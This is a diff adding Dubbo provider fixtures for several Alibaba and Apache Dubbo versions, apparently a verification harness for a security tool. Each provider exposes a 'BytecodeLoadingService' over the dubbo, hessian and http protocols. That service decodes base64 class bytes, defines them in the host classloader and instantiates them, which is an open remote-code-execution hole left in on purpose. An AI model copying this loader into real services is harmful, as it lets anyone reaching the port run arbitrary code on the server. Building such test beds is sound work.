group = "verification"
|
||||||
|
dependsOn(
|
||||||
|
dubboAlibabaProviderFatJar,
|
||||||
|
dubboApache276ProviderFatJar,
|
||||||
|
dubboApache277ProviderFatJar,
|
||||||
|
dubboApache278ProviderFatJar,
|
||||||
|
dubboApache2723ProviderFatJar,
|
||||||
|
dubboApache336ProviderFatJar
|
||||||
|
)
|
||||||
|
}
|
||||||
+65
@@ -0,0 +1,65 @@
|
|||||||
|
package io.github.reajason.dubbo.fixture.alibaba;
|
||||||
|
|
||||||
|
import com.alibaba.dubbo.config.ApplicationConfig;
|
||||||
|
import com.alibaba.dubbo.config.ProtocolConfig;
|
||||||
|
import com.alibaba.dubbo.config.RegistryConfig;
|
||||||
|
import com.alibaba.dubbo.config.ServiceConfig;
|
||||||
|
import io.github.reajason.dubbo.fixture.api.BytecodeLoadingService;
|
||||||
|
import io.github.reajason.dubbo.fixture.api.DemoService;
|
||||||
|
import io.github.reajason.dubbo.fixture.common.BytecodeLoadingServiceImpl;
|
||||||
|
import io.github.reajason.dubbo.fixture.common.DemoServiceImpl;
|
||||||
|
import io.github.reajason.dubbo.fixture.common.LoadBytesExportContext;
|
||||||
|
|
||||||
|
import java.util.Arrays;
|
||||||
|
import java.util.concurrent.CountDownLatch;
|
||||||
|
|
||||||
|
public class AlibabaDubbo2Provider {
|
||||||
|
|
||||||
|
public static void main(String[] args) throws InterruptedException {
|
||||||
|
System.setProperty("dubbo.compiler", "jdk");
|
||||||
|
ApplicationConfig application = new ApplicationConfig("alibaba-dubbo2-provider");
|
||||||
|
application.setQosEnable(true);
|
||||||
|
application.setQosPort(22221);
|
||||||
|
|
||||||
|
ProtocolConfig dubboProtocol = new ProtocolConfig();
|
||||||
|
dubboProtocol.setName("dubbo");
|
||||||
|
dubboProtocol.setPort(20880);
|
||||||
|
|
||||||
|
ProtocolConfig hessianProtocol = new ProtocolConfig();
|
||||||
|
hessianProtocol.setName("hessian");
|
||||||
|
hessianProtocol.setPort(28080);
|
||||||
|
|
||||||
|
ProtocolConfig httpProtocol = new ProtocolConfig();
|
||||||
|
httpProtocol.setName("http");
|
||||||
|
httpProtocol.setPort(28081);
|
||||||
|
|
||||||
|
RegistryConfig registry = new RegistryConfig("N/A");
|
||||||
|
LoadBytesExportContext.register(application, registry, Arrays.asList(dubboProtocol, hessianProtocol, httpProtocol));
|
||||||
|
|
||||||
|
ServiceConfig<DemoService> demoService = new ServiceConfig<DemoService>();
|
||||||
|
demoService.setApplication(application);
|
||||||
|
demoService.setRegistry(registry);
|
||||||
|
demoService.setProtocols(Arrays.asList(dubboProtocol, hessianProtocol, httpProtocol));
|
||||||
|
demoService.setInterface(DemoService.class);
|
||||||
|
demoService.setRef(new DemoServiceImpl("alibaba-dubbo-2.6.12"));
|
||||||
|
demoService.export();
|
||||||
|
|
||||||
|
ServiceConfig<BytecodeLoadingService> loaderService = new ServiceConfig<BytecodeLoadingService>();
|
||||||
|
loaderService.setApplication(application);
|
||||||
|
loaderService.setRegistry(registry);
|
||||||
|
loaderService.setProtocols(Arrays.asList(dubboProtocol, hessianProtocol, httpProtocol));
|
||||||
|
loaderService.setInterface(BytecodeLoadingService.class);
|
||||||
|
loaderService.setRef(new BytecodeLoadingServiceImpl());
|
||||||
|
loaderService.export();
|
||||||
|
|
||||||
|
System.out.println("==============================================");
|
||||||
|
System.out.println(" alibaba-dubbo 2.6.12 Provider started");
|
||||||
|
System.out.println(" dubbo -> dubbo://127.0.0.1:20880");
|
||||||
|
System.out.println(" hessian -> hessian://127.0.0.1:28080");
|
||||||
|
System.out.println(" http -> http://127.0.0.1:28081");
|
||||||
|
System.out.println(" qos -> 127.0.0.1:22221");
|
||||||
|
System.out.println("==============================================");
|
||||||
|
|
||||||
|
new CountDownLatch(1).await();
|
||||||
|
}
|
||||||
|
}
|
||||||
+7
@@ -0,0 +1,7 @@
|
|||||||
|
package io.github.reajason.dubbo.fixture.apache2;
|
||||||
|
|
||||||
|
public class ApacheDubbo2723Provider {
|
||||||
|
public static void main(String[] args) throws InterruptedException {
|
||||||
|
ApacheDubbo2Provider.start("apache-dubbo-2.7.23", 20881, 28082, 28083, 22222);
|
||||||
|
}
|
||||||
|
}
|
||||||
+7
@@ -0,0 +1,7 @@
|
|||||||
|
package io.github.reajason.dubbo.fixture.apache2;
|
||||||
|
|
||||||
|
public class ApacheDubbo276Provider {
|
||||||
|
public static void main(String[] args) throws InterruptedException {
|
||||||
|
ApacheDubbo2Provider.start("apache-dubbo-2.7.6", 20885, 28086, 28087, 22226);
|
||||||
|
}
|
||||||
|
}
|
||||||
+7
@@ -0,0 +1,7 @@
|
|||||||
|
package io.github.reajason.dubbo.fixture.apache2;
|
||||||
|
|
||||||
|
public class ApacheDubbo277Provider {
|
||||||
|
public static void main(String[] args) throws InterruptedException {
|
||||||
|
ApacheDubbo2Provider.start("apache-dubbo-2.7.7", 20886, 28088, 28089, 22227);
|
||||||
|
}
|
||||||
|
}
|
||||||
+7
@@ -0,0 +1,7 @@
|
|||||||
|
package io.github.reajason.dubbo.fixture.apache2;
|
||||||
|
|
||||||
|
public class ApacheDubbo278Provider {
|
||||||
|
public static void main(String[] args) throws InterruptedException {
|
||||||
|
ApacheDubbo2Provider.start("apache-dubbo-2.7.8", 20887, 28090, 28091, 22228);
|
||||||
|
}
|
||||||
|
}
|
||||||
+65
@@ -0,0 +1,65 @@
|
|||||||
|
package io.github.reajason.dubbo.fixture.apache3;
|
||||||
|
|
||||||
|
import io.github.reajason.dubbo.fixture.api.BytecodeLoadingService;
|
||||||
|
import io.github.reajason.dubbo.fixture.api.DemoService;
|
||||||
|
import io.github.reajason.dubbo.fixture.common.BytecodeLoadingServiceImpl;
|
||||||
|
import io.github.reajason.dubbo.fixture.common.DemoServiceImpl;
|
||||||
|
import io.github.reajason.dubbo.fixture.common.LoadBytesExportContext;
|
||||||
|
import org.apache.dubbo.config.ApplicationConfig;
|
||||||
|
import org.apache.dubbo.config.ProtocolConfig;
|
||||||
|
import org.apache.dubbo.config.RegistryConfig;
|
||||||
|
import org.apache.dubbo.config.ServiceConfig;
|
||||||
|
import org.apache.dubbo.config.bootstrap.DubboBootstrap;
|
||||||
|
|
||||||
|
import java.util.Arrays;
|
||||||
|
|
||||||
|
public class ApacheDubbo336Provider {
|
||||||
|
|
||||||
|
public static void main(String[] args) {
|
||||||
|
System.setProperty("dubbo.compiler", "jdk");
|
||||||
|
ApplicationConfig application = new ApplicationConfig("apache-dubbo-3.3.6-provider");
|
||||||
|
application.setQosEnable(true);
|
||||||
|
application.setQosPort(22223);
|
||||||
|
|
||||||
|
RegistryConfig registry = new RegistryConfig("N/A");
|
||||||
|
ProtocolConfig dubboProtocol = new ProtocolConfig("dubbo", 20882);
|
||||||
|
ProtocolConfig triProtocol = new ProtocolConfig("tri", 50051);
|
||||||
|
ProtocolConfig hessianProtocol = new ProtocolConfig("hessian", 28084);
|
||||||
|
ProtocolConfig httpProtocol = new ProtocolConfig("http", 28085);
|
||||||
|
LoadBytesExportContext.register(
|
||||||
|
application,
|
||||||
|
registry,
|
||||||
|
Arrays.asList(dubboProtocol, triProtocol, hessianProtocol, httpProtocol)
|
||||||
|
);
|
||||||
|
|
||||||
|
ServiceConfig<DemoService> demoService = new ServiceConfig<DemoService>();
|
||||||
|
demoService.setInterface(DemoService.class);
|
||||||
|
demoService.setRef(new DemoServiceImpl("apache-dubbo-3.3.6"));
|
||||||
|
|
||||||
|
ServiceConfig<BytecodeLoadingService> loaderService = new ServiceConfig<BytecodeLoadingService>();
|
||||||
|
loaderService.setInterface(BytecodeLoadingService.class);
|
||||||
|
loaderService.setRef(new BytecodeLoadingServiceImpl());
|
||||||
|
|
||||||
|
DubboBootstrap.getInstance()
|
||||||
|
.application(application)
|
||||||
|
.registry(registry)
|
||||||
|
.protocol(dubboProtocol)
|
||||||
|
.protocol(triProtocol)
|
||||||
|
.protocol(hessianProtocol)
|
||||||
|
.protocol(httpProtocol)
|
||||||
|
.service(demoService)
|
||||||
|
.service(loaderService)
|
||||||
|
.start();
|
||||||
|
|
||||||
|
System.out.println("==============================================");
|
||||||
|
System.out.println(" apache-dubbo-3.3.6 Provider started");
|
||||||
|
System.out.println(" dubbo -> dubbo://127.0.0.1:20882");
|
||||||
|
System.out.println(" tri -> tri://127.0.0.1:50051");
|
||||||
|
System.out.println(" hessian -> hessian://127.0.0.1:28084");
|
||||||
|
System.out.println(" http -> http://127.0.0.1:28085");
|
||||||
|
System.out.println(" qos -> 127.0.0.1:22223");
|
||||||
|
System.out.println("==============================================");
|
||||||
|
|
||||||
|
DubboBootstrap.getInstance().await();
|
||||||
|
}
|
||||||
|
}
|
||||||
+71
@@ -0,0 +1,71 @@
|
|||||||
|
package io.github.reajason.dubbo.fixture.apache2;
|
||||||
|
|
||||||
|
import io.github.reajason.dubbo.fixture.api.BytecodeLoadingService;
|
||||||
|
import io.github.reajason.dubbo.fixture.api.DemoService;
|
||||||
|
import io.github.reajason.dubbo.fixture.common.BytecodeLoadingServiceImpl;
|
||||||
|
import io.github.reajason.dubbo.fixture.common.DemoServiceImpl;
|
||||||
|
import io.github.reajason.dubbo.fixture.common.LoadBytesExportContext;
|
||||||
|
import org.apache.dubbo.config.ApplicationConfig;
|
||||||
|
import org.apache.dubbo.config.ProtocolConfig;
|
||||||
|
import org.apache.dubbo.config.RegistryConfig;
|
||||||
|
import org.apache.dubbo.config.ServiceConfig;
|
||||||
|
|
||||||
|
import java.util.Arrays;
|
||||||
|
import java.util.concurrent.CountDownLatch;
|
||||||
|
|
||||||
|
public final class ApacheDubbo2Provider {
|
||||||
|
|
||||||
|
private ApacheDubbo2Provider() {
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void start(String providerName, int dubboPort, int hessianPort, int httpPort, int qosPort)
|
||||||
|
throws InterruptedException {
|
||||||
|
System.setProperty("dubbo.compiler", "jdk");
|
||||||
|
ApplicationConfig application = new ApplicationConfig(providerName + "-provider");
|
||||||
|
application.setQosEnable(true);
|
||||||
|
application.setQosPort(qosPort);
|
||||||
|
|
||||||
|
ProtocolConfig dubboProtocol = new ProtocolConfig();
|
||||||
|
dubboProtocol.setName("dubbo");
|
||||||
|
dubboProtocol.setPort(dubboPort);
|
||||||
|
|
||||||
|
ProtocolConfig hessianProtocol = new ProtocolConfig();
|
||||||
|
hessianProtocol.setName("hessian");
|
||||||
|
hessianProtocol.setPort(hessianPort);
|
||||||
|
hessianProtocol.setServer("tomcat");
|
||||||
|
|
||||||
|
ProtocolConfig httpProtocol = new ProtocolConfig();
|
||||||
|
httpProtocol.setName("http");
|
||||||
|
httpProtocol.setPort(httpPort);
|
||||||
|
httpProtocol.setServer("tomcat");
|
||||||
|
|
||||||
|
RegistryConfig registry = new RegistryConfig("N/A");
|
||||||
|
LoadBytesExportContext.register(application, registry, Arrays.asList(dubboProtocol, hessianProtocol, httpProtocol));
|
||||||
|
|
||||||
|
ServiceConfig<DemoService> demoService = new ServiceConfig<DemoService>();
|
||||||
|
demoService.setApplication(application);
|
||||||
|
demoService.setRegistry(registry);
|
||||||
|
demoService.setProtocols(Arrays.asList(dubboProtocol, hessianProtocol, httpProtocol));
|
||||||
|
demoService.setInterface(DemoService.class);
|
||||||
|
demoService.setRef(new DemoServiceImpl(providerName));
|
||||||
|
demoService.export();
|
||||||
|
|
||||||
|
ServiceConfig<BytecodeLoadingService> loaderService = new ServiceConfig<BytecodeLoadingService>();
|
||||||
|
loaderService.setApplication(application);
|
||||||
|
loaderService.setRegistry(registry);
|
||||||
|
loaderService.setProtocols(Arrays.asList(dubboProtocol, hessianProtocol, httpProtocol));
|
||||||
|
loaderService.setInterface(BytecodeLoadingService.class);
|
||||||
|
loaderService.setRef(new BytecodeLoadingServiceImpl());
|
||||||
|
loaderService.export();
|
||||||
|
|
||||||
|
System.out.println("==============================================");
|
||||||
|
System.out.println(" " + providerName + " Provider started");
|
||||||
|
System.out.println(" dubbo -> dubbo://127.0.0.1:" + dubboPort);
|
||||||
|
System.out.println(" hessian -> hessian://127.0.0.1:" + hessianPort);
|
||||||
|
System.out.println(" http -> http://127.0.0.1:" + httpPort);
|
||||||
|
System.out.println(" qos -> 127.0.0.1:" + qosPort);
|
||||||
|
System.out.println("==============================================");
|
||||||
|
|
||||||
|
new CountDownLatch(1).await();
|
||||||
|
}
|
||||||
|
}
|
||||||
+5
@@ -0,0 +1,5 @@
|
|||||||
|
package io.github.reajason.dubbo.fixture.api;
|
||||||
|
|
||||||
|
public interface BytecodeLoadingService {
|
||||||
|
String loadBytes(String base64);
|
||||||
|
}
|
||||||
+5
@@ -0,0 +1,5 @@
|
|||||||
|
package io.github.reajason.dubbo.fixture.api;
|
||||||
|
|
||||||
|
public interface DemoService {
|
||||||
|
String sayHello(String name);
|
||||||
|
}
|
||||||
+11
@@ -0,0 +1,11 @@
|
|||||||
|
package io.github.reajason.dubbo.fixture.common;
|
||||||
|
|
||||||
|
import io.github.reajason.dubbo.fixture.api.BytecodeLoadingService;
|
||||||
|
|
||||||
|
public class BytecodeLoadingServiceImpl implements BytecodeLoadingService {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String loadBytes(String base64) {
|
||||||
|
return BytecodeLoadingSupport.loadBase64(base64);
|
||||||
|
}
|
||||||
|
}
|
||||||
+246
@@ -0,0 +1,246 @@
|
|||||||
|
package io.github.reajason.dubbo.fixture.common;
|
||||||
|
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.InputStream;
|
||||||
|
import java.lang.reflect.InvocationTargetException;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.security.ProtectionDomain;
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.Base64;
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
public final class BytecodeLoadingSupport {
|
||||||
|
|
||||||
|
private BytecodeLoadingSupport() {
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String loadBase64(String base64) {
|
||||||
|
String normalized = normalizeBase64(base64);
|
||||||
|
byte[] bytes = Base64.getMimeDecoder().decode(normalized);
|
||||||
|
return loadClassBytes(bytes);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String loadClassBytes(byte[] bytes) {
|
||||||
|
requireClassBytes(bytes);
|
||||||
|
try {
|
||||||
|
return new PayloadClassLoader(hostClassLoader()).defineAndInstantiate(bytes);
|
||||||
|
} catch (ReflectiveOperationException e) {
|
||||||
|
throw new IllegalStateException("failed to load bytecode payload", e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static String normalizeBase64(String base64) {
|
||||||
|
if (base64 == null) {
|
||||||
|
throw new IllegalArgumentException("base64 must not be null");
|
||||||
|
}
|
||||||
|
String trimmed = base64.trim();
|
||||||
|
if (trimmed.isEmpty()) {
|
||||||
|
throw new IllegalArgumentException("base64 must not be blank");
|
||||||
|
}
|
||||||
|
return trimmed;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void requireClassBytes(byte[] bytes) {
|
||||||
|
if (bytes == null || bytes.length == 0) {
|
||||||
|
throw new IllegalArgumentException("class bytes must not be empty");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static ClassLoader hostClassLoader() {
|
||||||
|
ClassLoader classLoader = BytecodeLoadingSupport.class.getClassLoader();
|
||||||
|
if (classLoader == null) {
|
||||||
|
classLoader = Thread.currentThread().getContextClassLoader();
|
||||||
|
}
|
||||||
|
return classLoader;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Class<?> defineIntoHostClassLoader(String className, byte[] bytes) {
|
||||||
|
if (className == null || className.trim().isEmpty()) {
|
||||||
|
throw new IllegalArgumentException("class name must not be blank");
|
||||||
|
}
|
||||||
|
requireClassBytes(bytes);
|
||||||
|
|
||||||
|
ClassLoader classLoader = hostClassLoader();
|
||||||
|
Class<?> loadedClass = findLoadedClass(className, classLoader);
|
||||||
|
if (loadedClass != null) {
|
||||||
|
return loadedClass;
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
return defineClass(className, bytes, classLoader);
|
||||||
|
} catch (LinkageError e) {
|
||||||
|
loadedClass = findLoadedClass(className, classLoader);
|
||||||
|
if (loadedClass != null) {
|
||||||
|
return loadedClass;
|
||||||
|
}
|
||||||
|
throw e;
|
||||||
|
} catch (ReflectiveOperationException e) {
|
||||||
|
throw new IllegalStateException("failed to define class in host class loader: " + className, e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void registerWithDubboClassPool(String className, byte[] bytes) {
|
||||||
|
if (className == null || className.trim().isEmpty() || bytes == null || bytes.length == 0) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
Class<?> classPoolClass = null;
|
||||||
|
List<Object> classPools = new ArrayList<Object>();
|
||||||
|
try {
|
||||||
|
classPoolClass = Class.forName("javassist.ClassPool", false, hostClassLoader());
|
||||||
|
classPools.add(classPoolClass.getMethod("getDefault").invoke(null));
|
||||||
|
classPools.addAll(dubboClassGeneratorPools());
|
||||||
|
|
||||||
|
for (Object classPool : classPools) {
|
||||||
|
if (classPoolContains(classPoolClass, classPool, className)) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
Method makeClass = classPoolClass.getMethod("makeClass", InputStream.class);
|
||||||
|
makeClass.invoke(classPool, new ByteArrayInputStream(bytes));
|
||||||
|
}
|
||||||
|
} catch (ClassNotFoundException ignored) {
|
||||||
|
// Javassist is not present for all clients.
|
||||||
|
} catch (InvocationTargetException e) {
|
||||||
|
if (classPoolClass != null && anyClassPoolContains(classPoolClass, classPools, className)) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
throw new IllegalStateException("failed to register class with Dubbo Javassist pool: " + className, e.getCause());
|
||||||
|
} catch (ReflectiveOperationException e) {
|
||||||
|
throw new IllegalStateException("failed to register class with Dubbo Javassist pool: " + className, e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static Class<?> findLoadedClass(String className, ClassLoader classLoader) {
|
||||||
|
try {
|
||||||
|
return Class.forName(className, false, classLoader);
|
||||||
|
} catch (ClassNotFoundException e) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static Class<?> defineClass(String className, byte[] bytes, ClassLoader classLoader)
|
||||||
|
throws ReflectiveOperationException {
|
||||||
|
Method defineClass = ClassLoader.class.getDeclaredMethod(
|
||||||
|
"defineClass",
|
||||||
|
String.class,
|
||||||
|
byte[].class,
|
||||||
|
int.class,
|
||||||
|
int.class,
|
||||||
|
ProtectionDomain.class
|
||||||
|
);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
try {
|
||||||
|
return (Class<?>) defineClass.invoke(
|
||||||
|
classLoader,
|
||||||
|
className,
|
||||||
|
bytes,
|
||||||
|
0,
|
||||||
|
bytes.length,
|
||||||
|
BytecodeLoadingSupport.class.getProtectionDomain()
|
||||||
|
);
|
||||||
|
} catch (InvocationTargetException e) {
|
||||||
|
Throwable cause = e.getCause();
|
||||||
|
if (cause instanceof LinkageError) {
|
||||||
|
throw (LinkageError) cause;
|
||||||
|
}
|
||||||
|
if (cause instanceof RuntimeException) {
|
||||||
|
throw (RuntimeException) cause;
|
||||||
|
}
|
||||||
|
if (cause instanceof Error) {
|
||||||
|
throw (Error) cause;
|
||||||
|
}
|
||||||
|
throw e;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static List<Object> dubboClassGeneratorPools() {
|
||||||
|
List<Object> classPools = new ArrayList<Object>();
|
||||||
|
List<ClassLoader> classLoaders = new ArrayList<ClassLoader>();
|
||||||
|
addClassLoader(classLoaders, hostClassLoader());
|
||||||
|
addClassLoader(classLoaders, Thread.currentThread().getContextClassLoader());
|
||||||
|
|
||||||
|
for (ClassLoader classLoader : classLoaders) {
|
||||||
|
addDubboClassGeneratorPool(classPools, "com.alibaba.dubbo.common.bytecode.ClassGenerator", classLoader);
|
||||||
|
addDubboClassGeneratorPool(classPools, "org.apache.dubbo.common.bytecode.ClassGenerator", classLoader);
|
||||||
|
}
|
||||||
|
return classPools;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void addClassLoader(List<ClassLoader> classLoaders, ClassLoader classLoader) {
|
||||||
|
if (classLoader != null && !classLoaders.contains(classLoader)) {
|
||||||
|
classLoaders.add(classLoader);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void addDubboClassGeneratorPool(List<Object> classPools, String className, ClassLoader classLoader) {
|
||||||
|
try {
|
||||||
|
Class<?> classGeneratorClass = Class.forName(className, false, hostClassLoader());
|
||||||
|
Method getClassPool = classGeneratorClass.getMethod("getClassPool", ClassLoader.class);
|
||||||
|
Object classPool = getClassPool.invoke(null, classLoader);
|
||||||
|
if (classPool != null && !classPools.contains(classPool)) {
|
||||||
|
classPools.add(classPool);
|
||||||
|
}
|
||||||
|
} catch (ClassNotFoundException ignored) {
|
||||||
|
// This runtime is using the other Dubbo namespace.
|
||||||
|
} catch (ReflectiveOperationException e) {
|
||||||
|
throw new IllegalStateException("failed to resolve Dubbo class pool from " + className, e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static boolean anyClassPoolContains(Class<?> classPoolClass, List<Object> classPools, String className) {
|
||||||
|
for (Object classPool : classPools) {
|
||||||
|
try {
|
||||||
|
if (classPoolContains(classPoolClass, classPool, className)) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
} catch (ReflectiveOperationException ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static boolean classPoolContains(Class<?> classPoolClass, Object classPool, String className)
|
||||||
|
throws ReflectiveOperationException {
|
||||||
|
try {
|
||||||
|
Method getOrNull = classPoolClass.getMethod("getOrNull", String.class);
|
||||||
|
return getOrNull.invoke(classPool, className) != null;
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
try {
|
||||||
|
Method get = classPoolClass.getMethod("get", String.class);
|
||||||
|
return get.invoke(classPool, className) != null;
|
||||||
|
} catch (InvocationTargetException invocationTargetException) {
|
||||||
|
Throwable cause = invocationTargetException.getCause();
|
||||||
|
if (cause != null && "javassist.NotFoundException".equals(cause.getClass().getName())) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
throw invocationTargetException;
|
||||||
|
}
|
||||||
|
} catch (InvocationTargetException e) {
|
||||||
|
Throwable cause = e.getCause();
|
||||||
|
if (cause != null && "javassist.NotFoundException".equals(cause.getClass().getName())) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
throw e;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static final class PayloadClassLoader extends ClassLoader {
|
||||||
|
|
||||||
|
private PayloadClassLoader(ClassLoader parent) {
|
||||||
|
super(parent);
|
||||||
|
}
|
||||||
|
|
||||||
|
private String defineAndInstantiate(byte[] bytes) throws ReflectiveOperationException {
|
||||||
|
Thread thread = Thread.currentThread();
|
||||||
|
ClassLoader original = thread.getContextClassLoader();
|
||||||
|
thread.setContextClassLoader(this);
|
||||||
|
try {
|
||||||
|
Object instance = defineClass(bytes, 0, bytes.length).newInstance();
|
||||||
|
return String.valueOf(instance);
|
||||||
|
} finally {
|
||||||
|
thread.setContextClassLoader(original);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+17
@@ -0,0 +1,17 @@
|
|||||||
|
package io.github.reajason.dubbo.fixture.common;
|
||||||
|
|
||||||
|
import io.github.reajason.dubbo.fixture.api.DemoService;
|
||||||
|
|
||||||
|
public class DemoServiceImpl implements DemoService {
|
||||||
|
|
||||||
|
private final String providerName;
|
||||||
|
|
||||||
|
public DemoServiceImpl(String providerName) {
|
||||||
|
this.providerName = providerName;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String sayHello(String name) {
|
||||||
|
return "Hello, " + name + " from " + providerName;
|
||||||
|
}
|
||||||
|
}
|
||||||
+31
@@ -0,0 +1,31 @@
|
|||||||
|
package io.github.reajason.dubbo.fixture.common;
|
||||||
|
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
public final class LoadBytesExportContext {
|
||||||
|
|
||||||
|
private static volatile Object application;
|
||||||
|
private static volatile Object registry;
|
||||||
|
private static volatile List<?> protocols;
|
||||||
|
|
||||||
|
private LoadBytesExportContext() {
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void register(Object applicationConfig, Object registryConfig, List<?> protocolConfigs) {
|
||||||
|
application = applicationConfig;
|
||||||
|
registry = registryConfig;
|
||||||
|
protocols = protocolConfigs;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Object application() {
|
||||||
|
return application;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Object registry() {
|
||||||
|
return registry;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static List<?> protocols() {
|
||||||
|
return protocols;
|
||||||
|
}
|
||||||
|
}
|
||||||
+6
@@ -0,0 +1,6 @@
|
|||||||
|
package io.github.reajason.dubbo.fixture.common;
|
||||||
|
|
||||||
|
public final class Noop {
|
||||||
|
private Noop() {
|
||||||
|
}
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user